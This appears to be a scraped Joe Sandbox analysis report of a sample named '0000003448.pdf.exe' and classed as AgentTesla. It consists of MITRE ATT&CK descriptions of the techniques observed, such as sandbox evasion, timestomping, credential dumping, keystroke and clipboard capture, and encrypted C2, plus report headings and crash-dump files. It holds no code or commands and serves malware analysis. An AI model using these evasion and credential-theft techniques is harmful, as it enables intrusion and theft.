Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0000003448.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0000003448.pdf.e_e15196a8f0eb2511ce4747ffb907bdc14423242_a04c5d31_4c6ecd60-570c-451f-8116-ae129e58bb7d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER97AA.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9922.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9962.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
0000003448.pdf.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre